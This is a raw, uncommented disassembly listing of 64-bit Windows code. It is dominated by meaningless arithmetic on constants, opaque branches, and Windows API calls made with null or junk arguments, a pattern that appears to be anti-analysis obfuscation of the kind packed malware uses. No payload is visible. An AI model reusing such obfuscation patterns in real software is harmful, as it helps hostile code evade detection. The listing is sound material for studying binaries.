mov dword [rsp + 0x578c], 0x2e8e
mov eax, 0x555
mov word [rsp + 0x1b64], ax
movabs rax, 0x7d4b58ff808a56
mov qword [rsp + 0xb0f8], rax
mov dword [rsp + 0x5790], 0x5395
mov eax, 0x531
mov word [rsp + 0x1b68], ax
movabs rax, 0x780f17af9ff2ef
mov qword [rsp + 0xb100], rax
mov eax, 0xc4
mov word [rsp + 0x1b6c], ax
movabs rax, 0x7ca69e3d28ce46
mov qword [rsp + 0xb108], rax
mov eax, 0x6e
mov word [rsp + 0x1b70], ax
mov eax, 0x6c8
mov word [rsp + 0x1b74], ax
mov eax, 0x2e1
mov word [rsp + 0x1b78], ax
mov eax, 0x3f4
mov word [rsp + 0x1b7c], ax
mov eax, 0x633
mov word [rsp + 0x1b80], ax
movabs rax, 0x7cffae23145f2a
mov qword [rsp + 0xb110], rax
mov dword [rsp + 0x5794], 0x4911
mov byte [rsp + 0x397], 0xa8
mov eax, 0x58c
mov word [rsp + 0x1b84], ax
movabs rax, 0x7e71de1180ad36
mov qword [rsp + 0xb118], rax
movabs rax, 0x78387893dd2f45
mov qword [rsp + 0xb120], rax
mov byte [rsp + 0x398], 0x69
mov eax, 0xdd
mov word [rsp + 0x1b88], ax
mov dword [rsp + 0x5798], 0x3314
mov eax, 0x164
mov word [rsp + 0x1b8c], ax
mov eax, 0x1c2
mov word [rsp + 0x1b90], ax
movabs rax, 0x749a2d417778ec
mov qword [rsp + 0xb128], rax
mov byte [rsp + 0x399], 0x9d
mov eax, 0x456
mov word [rsp + 0x1b94], ax
movzx eax, word [rsp + 0x1b94]
mov dword [rsp + 0x579c], eax
cmp dword [rsp + 0x579c], 0x456
je 0x14000e557
cmp dword [rsp + 0x579c], 0xeeb
je 0x14000e53d
jmp 0x14015b047
movzx eax, word [rsp + 0x1b94]
sub eax, 0xe6d
mov word [rsp + 0x1b94], ax
jmp 0x14015b047
movzx eax, word [rsp + 0x1b94]
add eax, 0xe03
mov word [0x140177390], ax
movzx eax, word [rsp + 0x1b94]
movzx ecx, word [0x140177390]
imul eax, ecx
mov word [rsp + 0x1a2c], ax
mov dword [rsp + 0x57a0], 0xd7e5
mov dword [rsp + 0x57a4], 0x993c
mov dword [rsp + 0x57a8], 0x5830
mov dword [rsp + 0x57ac], 0x46d5
movabs rax, 0x7b599892c822f2
mov qword [rsp + 0xb130], rax
movabs rax, 0x7d81c8a8eb1abb
mov rcx, qword [rsp + 0x92c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x92c8], rax
mov eax, dword [rsp + 0x57a8]
mov dword [rsp + 0x57b0], eax
mov eax, 0x599
mov word [rsp + 0x1b98], ax
movabs rax, 0x780c60a963ed36
mov rcx, qword [rsp + 0xb130]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9800], rax
mov dword [rsp + 0x57b4], 0x3e4e
lea rcx, str.S_Q_GDVgP
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1b9c], ax
mov eax, dword [rsp + 0x57a8]
mov dword [rsp + 0x57b8], eax
cmp dword [rsp + 0x57b8], 0x5830
je 0x14000e65e
jmp 0x14015af7a
mov eax, dword [rsp + 0x57a8]
mov dword [rsp + 0x57bc], eax
cmp dword [rsp + 0x57bc], 0xc99e
je 0x14000e67b
jmp 0x14000e6c7
movabs rax, 0x70b4af64e2f020
mov rcx, qword [rsp + 0x92c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x92c8], rax
movzx r9d, word [rsp + 0x1a2c]
movzx r8d, word [rsp + 0x1b94]
movzx edx, word [rsp + 0x1a2c]
movzx ecx, word [rsp + 0x1b94]
call fcn.14015b2b0
jmp 0x14015af62
mov byte [rsp + 0x39a], 0x3e
mov rax, qword [rsp + 0x92c8]
mov qword [rsp + 0xb138], rax
mov eax, dword [rsp + 0x53f8]
add eax, 0x4e13
mov dword [rsp + 0x53f8], eax
movzx eax, word [rsp + 0x1b98]
mov word [rsp + 0x1ba0], ax
lea rax, [rsp + 0x39a]
mov qword [rsp + 0xb140], rax
mov byte [rsp + 0x39b], reloc.SHELL32.dll_ILIsParent
mov dword [rsp + 0x57c0], 0xc5d8
movzx eax, byte [rsp + 0x39b]
add eax, 0x84
mov byte [rsp + 0x1fa], al
movzx eax, word [rsp + 0x1b94]
mov word [rsp + 0x1ba4], ax
movabs rax, 0x7e8c7d92e9055e
mov rcx, qword [rsp + 0xb130]
sub rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x9800]
jbe 0x14000e895
mov rax, qword [rsp + 0x92c8]
mov qword [rsp + 0xb148], rax
movabs rax, 0x7801c820211889
cmp qword [rsp + 0xb148], rax
je 0x14000e795
jmp 0x14000e810
movzx eax, byte [rsp + 0x1fa]
mov byte [0x140183b48], al
movzx eax, byte [rsp + 0x1fa]
mov byte [rsp + 0x39c], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x57c4], 0x930c
lea rax, [rsp + 0x1b98]
mov qword [rsp + 0xb150], rax
mov eax, dword [rsp + 0x57a8]
mov dword [rsp + 0x57c8], eax
mov dword [rsp + 0x57cc], 0x3db0
mov rax, qword [rsp + 0x9800]
mov rcx, qword [rsp + 0xb130]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa2c0], rax
jmp 0x14000e84d
lea rcx, [rsp + 0x53f8]
call qword [sym.imp.SHELL32.dll_ILFindLastID]
mov qword [rsp + 0xb158], rax
mov eax, dword [rsp + 0x53f8]
xor eax, 0x5d79
mov dword [rsp + 0x53f8], eax
mov rax, qword [rsp + 0x92c8]
shl rax, 0x1f
mov qword [rsp + 0xb138], rax
mov dword [rsp + 0x57d0], 0x109b
movzx eax, byte [rsp + 0x39c]
movzx ecx, byte [rsp + 0x39b]
sar eax, cl
mov byte [rsp + 0x1fa], al
movzx eax, byte [rsp + 0x39a]
mov byte [rsp + 0x39d], al
mov eax, dword [rsp + 0x57c8]
imul eax, dword [rsp + 0x57b0]
mov dword [0x140177394], eax
mov rax, qword [rsp + 0xb150]
movzx eax, word [rax]
mov word [rsp + 0x1ba8], ax
movzx eax, word [rsp + 0x1a2c]
movzx ecx, word [rsp + 0x1b94]
and eax, ecx
mov word [rsp + 0xfe8], ax
lea rax, [rsp + 0x53f8]
mov qword [rsp + 0xb160], rax
mov rax, qword [rsp + 0xa2c0]
mov rcx, qword [rsp + 0xb130]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9800], rax
mov eax, dword [rsp + 0x57a8]
mov ecx, dword [rsp + 0x57b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x57c8], eax
movabs rax, 0x7cfc5e5f8e5751
mov rcx, qword [rsp + 0xb138]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x92c8], rax
lea rcx, [rsp + 0x194b8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, word [rsp + 0x1b98]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ba8], ax
movsx eax, byte [rsp + 0x39a]
movsx ecx, byte [rsp + 0x39d]
and eax, ecx
mov rcx, qword [rsp + 0xb140]
mov byte [rcx], al
movzx eax, word [rsp + 0xfe8]
movzx ecx, word [rsp + 0x1a2c]
add eax, ecx
mov word [0x140177390], ax
movabs rax, 0x7e89f3576fb469
mov rcx, qword [rsp + 0x92c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb138], rax
mov eax, dword [rsp + 0x57c8]
mov ecx, dword [rsp + 0x57b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x57a8], eax
mov eax, dword [rsp + 0x57b4]
add eax, 0x2a
mov dword [rsp + 0x57b4], eax
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
sub eax, 0x7ee
mov dword [rsp + 0x53f8], eax
movsx eax, byte [rsp + 0x39d]
movsx ecx, byte [rsp + 0x39a]
shl eax, cl
mov rcx, qword [rsp + 0xb140]
mov byte [rcx], al
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b98]
or eax, ecx
mov word [rsp + 0x1ba8], ax
cmp dword [rsp + 0x57b4], 0x4436
jne 0x14000e8d2
movzx eax, byte [rsp + 0x39b]
movzx ecx, byte [rsp + 0x39c]
xor eax, ecx
movzx ecx, byte [rsp + 0x1fa]
mov dword [rsp + 0x57d4], ecx
movzx edx, byte [0x140183b48]
movzx ecx, dl
mov edx, dword [rsp + 0x57d4]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14000eafe
movsx eax, word [rsp + 0x1b98]
movsx ecx, word [rsp + 0x1ba8]
and eax, ecx
mov rcx, qword [rsp + 0xb150]
mov word [rcx], ax
movzx eax, word [rsp + 0x1b94]
movzx ecx, word [rsp + 0x1a2c]
add eax, ecx
mov word [rsp + 0xfe8], ax
mov dword [rsp + 0x20], 0x4c
lea r9, [rsp + 0x57b0]
mov r8, qword [rsp + 0xb168]
mov rdx, qword [rsp + 0xb170]
mov rcx, qword [rsp + 0xb178]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x57d8], eax
mov r8d, dword [rsp + 0x57c8]
mov edx, dword [rsp + 0x57a8]
mov rcx, qword [rsp + 0xa2c0]
call fcn.14015b1f0
jmp 0x14000eba4
mov rax, qword [rsp + 0x9800]
imul rax, qword [rsp + 0xa2c0]
cmp rax, qword [rsp + 0xb130]
jae 0x14000eba4
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39a]
sub eax, ecx
mov byte [rsp + 0x39d], al
movzx eax, byte [rsp + 0x39b]
movzx ecx, byte [rsp + 0x1fa]
sub eax, ecx
mov byte [0x140183b48], al
movzx eax, word [rsp + 0xfe8]
movzx ecx, word [rsp + 0x1ba4]
add eax, ecx
mov word [rsp + 0x1b94], ax
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
sub eax, 0x4942
mov dword [rsp + 0x53f8], eax
mov rax, qword [rsp + 0xa2c0]
mov rcx, qword [rsp + 0x9800]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb130], rax
call fcn.14015b3d0
mov eax, dword [rsp + 0x57a8]
imul eax, dword [0x140177394]
mov dword [rsp + 0x57c8], eax
movzx eax, byte [rsp + 0x39b]
mov byte [rsp + 0x39e], al
mov dword [rsp + 0x57dc], 0xb48e
movsx eax, word [rsp + 0x1ba8]
movsx ecx, word [rsp + 0x1ba0]
add eax, ecx
mov word [rsp + 0x1b98], ax
mov rax, qword [rsp + 0x92c8]
mov qword [rsp + 0xb180], rax
mov dword [rsp + 0x57e0], 0x10c8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x1b94]
movzx ecx, word [rsp + 0x1ba4]
sub eax, ecx
mov word [rsp + 0x1188], ax
movzx eax, byte [rsp + 0x39e]
movzx ecx, byte [rsp + 0x1fa]
add eax, ecx
mov byte [0x140177038], al
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b98]
xor eax, ecx
mov word [rsp + 0x1ba8], ax
mov dword [rsp + 0x57e4], 0x7328
movzx eax, byte [rsp + 0x39c]
movzx ecx, byte [rsp + 0x1fa]
sar eax, cl
mov byte [rsp + 0x39e], al
mov rax, qword [rsp + 0xb130]
mov qword [rsp + 0xb188], rax
mov dword [rsp + 0x57e8], 0x3575
mov eax, dword [rsp + 0x57b0]
mov ecx, dword [rsp + 0x57a8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x57c8], eax
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
shl eax, 0x18
mov dword [rsp + 0x53f8], eax
mov rax, qword [rsp + 0xb138]
mov rcx, qword [rsp + 0x92c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb180], rax
movsx eax, word [rsp + 0x1ba8]
movsx ecx, word [rsp + 0x1ba0]
add eax, ecx
mov word [rsp + 0x1b98], ax
movsx eax, byte [rsp + 0x39a]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x39d], al
movzx eax, word [rsp + 0x1188]
movzx ecx, word [rsp + 0xfe8]
add eax, ecx
mov word [0x140177390], ax
movzx ecx, word [rsp + 0x1b9c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bac], ax
mov eax, dword [rsp + 0x57d0]
add eax, 0x1a
mov dword [rsp + 0x57d0], eax
movzx eax, byte [rsp + 0x39b]
movzx ecx, byte [rsp + 0x1fa]
sub eax, ecx
mov byte [rsp + 0x39c], al
mov rax, qword [rsp + 0xb138]
mov rcx, qword [rsp + 0x92c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb180], rax
mov eax, dword [rsp + 0x57b0]
mov ecx, dword [0x140177394]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x57c8], eax
mov rax, qword [rsp + 0xb130]
mov rcx, qword [rsp + 0xb188]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa2c0], rax
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
add eax, 0x48b2
mov dword [rsp + 0x53f8], eax
movzx eax, byte [rsp + 0x39b]
movzx ecx, byte [rsp + 0x39c]
sar eax, cl
mov byte [rsp + 0x39e], al
movzx eax, word [rsp + 0x1a2c]
movzx ecx, word [rsp + 0x1188]
xor eax, ecx
mov word [rsp + 0x1ba4], ax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba8]
shl eax, cl
mov word [rsp + 0x1b98], ax
movzx eax, byte [rsp + 0x39e]
movzx ecx, byte [rsp + 0x39b]
or eax, ecx
mov byte [0x140177038], al
movsx eax, byte [rsp + 0x39a]
movsx ecx, byte [rsp + 0x39d]
sub eax, ecx
mov rcx, qword [rsp + 0xb140]
mov byte [rcx], al
movsx eax, word [rsp + 0x1b98]
movsx ecx, word [rsp + 0x1ba0]
and eax, ecx
mov word [rsp + 0x1ba8], ax
mov rax, qword [rsp + 0xb188]
mov rcx, qword [rsp + 0x9800]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa2c0], rax
cmp dword [rsp + 0x57d0], 0x181f
jb 0x14000eca0
mov rax, qword [rsp + 0xb138]
mov qword [rsp + 0xb190], rax
movabs rax, 0x749abed08fb112
cmp qword [rsp + 0xb190], rax
je 0x14000eeee
movabs rax, 0x7590a008ebaf5e
cmp qword [rsp + 0xb190], rax
je 0x14000ef26
jmp 0x14000efc0
mov rdx, qword [rsp + 0xb198]
lea rcx, [rsp + 0x39c]
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov dword [rsp + 0x57ec], eax
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
add eax, 0x30a7
mov dword [rsp + 0x53f8], eax
jmp 0x14000efc0
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39d]
add eax, ecx
mov rcx, qword [rsp + 0xb140]
mov byte [rcx], al
movsx eax, byte [rsp + 0x39a]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x39d], al
movzx eax, word [rsp + 0x1a2c]
movzx ecx, word [rsp + 0xfe8]
add eax, ecx
mov word [rsp + 0x1ba4], ax
mov ecx, 0x88
call qword [sym.imp.SHELL32.dll_SHChangeNotifyDeregister]
mov dword [rsp + 0x57f0], eax
mov rax, qword [rsp + 0x9800]
mov qword [rsp + 0x20], rax
movzx r9d, byte [rsp + 0x39d]
mov r8d, dword [rsp + 0x53f8]
mov rdx, qword [rsp + 0x9800]
movzx ecx, byte [rsp + 0x39d]
call fcn.14015b380
mov rax, qword [rsp + 0xb138]
mov rcx, qword [rsp + 0xb180]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x92c8], rax
mov dword [rsp + 0x57f4], 0x7d8c
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, [0x1401782a0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb1a0], rax
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
mov dword [0x140183b44], eax
mov rax, qword [rsp + 0xb150]
movzx eax, word [rax]
mov word [rsp + 0x1bb0], ax
movsx eax, word [rsp + 0x1ba0]
mov dword [rsp + 0x57f8], eax
cmp dword [rsp + 0x57f8], 0x599
je 0x14000f069
jmp 0x14000f143
movzx eax, word [rsp + 0xfe8]
movzx ecx, word [rsp + 0x1a2c]
sub eax, ecx
mov word [rsp + 0x1188], ax
lea rax, [rsp + 0x1fa]
mov qword [rsp + 0xb1a8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.iFEOjWrhYOlwF7a84
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb1b0], rax
lea rax, [rsp + 0x57b0]
mov qword [rsp + 0xb1b8], rax
mov rax, qword [rsp + 0xb160]
mov ecx, dword [rsp + 0x53f8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4b3c], eax
lea rcx, str.KH_DYDE
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1bb4], ax
mov rax, qword [rsp + 0xa2c0]
movzx ecx, al
mov rax, qword [rsp + 0xb188]
shr rax, cl
mov qword [rsp + 0x9800], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb1c0], rax
jmp 0x14000f1ad
mov rax, qword [rsp + 0xb138]
mov rcx, qword [rsp + 0x92c8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb180], rax
movzx eax, byte [rsp + 0x39c]
movzx ecx, byte [rsp + 0x1fa]
shl eax, cl
mov byte [rsp + 0x39b], al
movsx eax, word [rsp + 0x1bb0]
movsx ecx, word [rsp + 0x1ba0]
or eax, ecx
mov word [rsp + 0x1ba8], ax
movzx eax, word [rsp + 0x1b94]
movzx ecx, word [rsp + 0x1188]
add eax, ecx
mov word [0x140177390], ax
mov rax, qword [rsp + 0x92c8]
mov rcx, qword [rsp + 0xb138]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb180], rax
movsx eax, word [rsp + 0x1ba0]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1bb0], ax
mov eax, dword [rsp + 0x57a0]
add eax, 0x57
mov dword [rsp + 0x57a0], eax
mov eax, dword [0x140183b44]
mov ecx, dword [rsp + 0x53f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b3c], eax
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [0x140177394]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x57b0], eax
movsx eax, byte [rsp + 0x39d]
movsx ecx, byte [rsp + 0x39a]
add eax, ecx
mov rcx, qword [rsp + 0xb140]
mov byte [rcx], al
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x57fc], eax
mov rax, qword [rsp + 0xb188]
mov rcx, qword [rsp + 0xa2c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9800], rax
mov rcx, qword [rsp + 0xb1b0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x5800], eax
movzx eax, byte [rsp + 0x1fa]
movzx ecx, byte [0x140183b48]
sub eax, ecx
mov rcx, qword [rsp + 0xb1a8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1a2c]
movzx ecx, word [rsp + 0xfe8]
add eax, ecx
mov word [rsp + 0x1188], ax
mov rax, qword [rsp + 0xb160]
mov ecx, dword [rsp + 0x4b3c]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140183b44], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x5804], eax
movzx eax, byte [rsp + 0x39c]
movzx ecx, byte [rsp + 0x1fa]
sub eax, ecx
mov byte [rsp + 0x39b], al
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b98]
sar eax, cl
mov word [rsp + 0x1bb0], ax
cmp dword [rsp + 0x57a0], 0xdc50
jb 0x14000f1ad
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
mov dword [rsp + 0x5808], eax
mov rax, qword [rsp + 0xa2c0]
mov qword [rsp + 0xb1c8], rax
mov eax, dword [rsp + 0x57c8]
movzx ecx, al
mov eax, dword [rsp + 0x57b0]
shl eax, cl
mov dword [rsp + 0x57a8], eax
mov rax, qword [rsp + 0x9800]
mov qword [rsp + 0xb1d0], rax
movabs rax, 0xf6b7914eb412e8
cmp qword [rsp + 0xb1d0], rax
je 0x14000f38e
jmp 0x14000f3e5
movzx eax, word [rsp + 0x1ba4]
mov word [rsp + 0x1bb8], ax
mov dword [rsp + 0x580c], 0xba59
mov rax, qword [rsp + 0xb138]
mov rcx, qword [rsp + 0x92c8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb180], rax
movzx eax, byte [rsp + 0x39b]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x39e], al
jmp 0x14000f463
mov eax, dword [rsp + 0x5808]
mov ecx, dword [rsp + 0x53f8]
and ecx, eax
mov eax, ecx
mov dword [0x140183b44], eax
mov edx, 0x29
lea rcx, [rsp + 0x1a2c]
call qword [sym.imp.SHELL32.dll_SHGetSettings]
movsx eax, byte [rsp + 0x39a]
movsx ecx, byte [rsp + 0x39d]
add eax, ecx
mov rcx, qword [rsp + 0xb140]
mov byte [rcx], al
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x4b3c]
mov rax, qword [rsp + 0xb160]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x53f8]
mov rax, qword [rsp + 0xb160]
mov ecx, dword [rax]
call fcn.14015b160
mov rax, qword [rsp + 0xb138]
mov rcx, qword [rsp + 0xb180]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa240], rax
lea rax, [rsp + 0x1b94]
mov qword [rsp + 0xb1d8], rax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
mov dword [rsp + 0x5810], eax
cmp dword [rsp + 0x5810], 0xadb
je 0x14000f4b5
jmp 0x14000f549
mov rax, qword [rsp + 0xb188]
mov rcx, qword [rsp + 0xb1c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9800], rax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39b]
sub eax, ecx
mov byte [rsp + 0x1fa], al
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1fa]
add eax, ecx
mov byte [0x140183b48], al
mov rax, qword [rsp + 0xb180]
mov rcx, qword [rsp + 0xb138]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x92c8], rax
movzx eax, byte [rsp + 0x39b]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1fa], al
jmp 0x14015aeba
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [0x140177390]
cdq
idiv ecx
mov word [rsp + 0xfe8], ax
mov eax, dword [rsp + 0x57c8]
mov dword [rsp + 0x5814], eax
mov dword [rsp + 0x5818], 0x86e0
mov eax, dword [rsp + 0x5808]
movzx ecx, al
mov eax, dword [rsp + 0x53f8]
sar eax, cl
mov dword [rsp + 0x4b3c], eax
mov dword [rsp + 0x581c], 0xd3bf
mov rax, qword [rsp + 0xb130]
mov qword [rsp + 0xb1e0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba0]
shl eax, cl
mov word [rsp + 0x1ba8], ax
mov rax, qword [rsp + 0xb138]
mov rcx, qword [rsp + 0xb180]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa240], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov eax, dword [rsp + 0x5808]
mov ecx, dword [rsp + 0x4b3c]
add ecx, eax
mov eax, ecx
mov dword [0x140183b44], eax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfe8]
sub eax, ecx
mov word [rsp + 0x1188], ax
lea rdx, [rsp + 0x1a178]
mov rcx, qword [rsp + 0xb1a0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x5820], eax
movsx eax, byte [rsp + 0x39a]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x39d], al
movzx eax, byte [rsp + 0x1fa]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x39b], al
mov rax, qword [rsp + 0xb160]
mov ecx, dword [rsp + 0x53f8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4b3c], eax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov ecx, dword [0x140177394]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x57c8], eax
mov rax, qword [rsp + 0xb188]
mov rcx, qword [rsp + 0xb1e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1c8], rax
mov eax, dword [rsp + 0x57c0]
sub eax, 0xcb
mov dword [rsp + 0x57c0], eax
lea rdx, [rsp + 0xb1e8]
mov rcx, qword [rsp + 0xb1a0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x5824], eax
mov rax, qword [rsp + 0xb138]
mov rcx, qword [rsp + 0xb180]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa240], rax
movzx eax, word [rsp + 0x1bb8]
movzx ecx, word [rsp + 0x1188]
add eax, ecx
mov word [rsp + 0x1ba4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
movzx eax, byte [rsp + 0x39b]
movzx ecx, byte [rsp + 0x39e]
or eax, ecx
mov byte [0x140183b48], al
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b98]
shl eax, cl
mov word [rsp + 0x1bb0], ax
mov rax, qword [rsp + 0xb138]
mov rcx, qword [rsp + 0xa240]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb180], rax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bb8]
sar eax, cl
mov word [rsp + 0xfe8], ax
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x53f8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b3c], eax
mov eax, dword [rsp + 0x57b0]
mov ecx, dword [rsp + 0x57a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x57c8], eax
mov rax, qword [rsp + 0xb1e0]
mov rcx, qword [rsp + 0xb188]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa2c0], rax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39e]
sub eax, ecx
mov byte [rsp + 0x39c], al
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bb0]
add eax, ecx
mov word [rsp + 0x1ba0], ax
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [rsp + 0x57c8]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140177394], eax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39a]
and eax, ecx
mov byte [rsp + 0x39d], al
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1fa]
sub eax, ecx
mov byte [rsp + 0x39b], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1188]
add eax, ecx
mov word [rsp + 0x1bb8], ax
mov rax, qword [rsp + 0xb1e0]
mov rcx, qword [rsp + 0xb188]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa2c0], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x22a2
mov rcx, qword [rsp + 0xb1a0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x5828], eax
mov eax, dword [rsp + 0x57c8]
mov rcx, qword [rsp + 0xb1b8]
mov qword [rsp + 0xb1f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb1f0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5814], eax
mov eax, dword [rsp + 0x4b3c]
movzx ecx, al
mov eax, dword [rsp + 0x53f8]
shl eax, cl
mov dword [rsp + 0x5808], eax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba0]
xor eax, ecx
mov word [rsp + 0x1ba8], ax
mov rax, qword [rsp + 0xb160]
mov ecx, dword [rsp + 0x53f8]
mov eax, dword [rax]
or eax, ecx
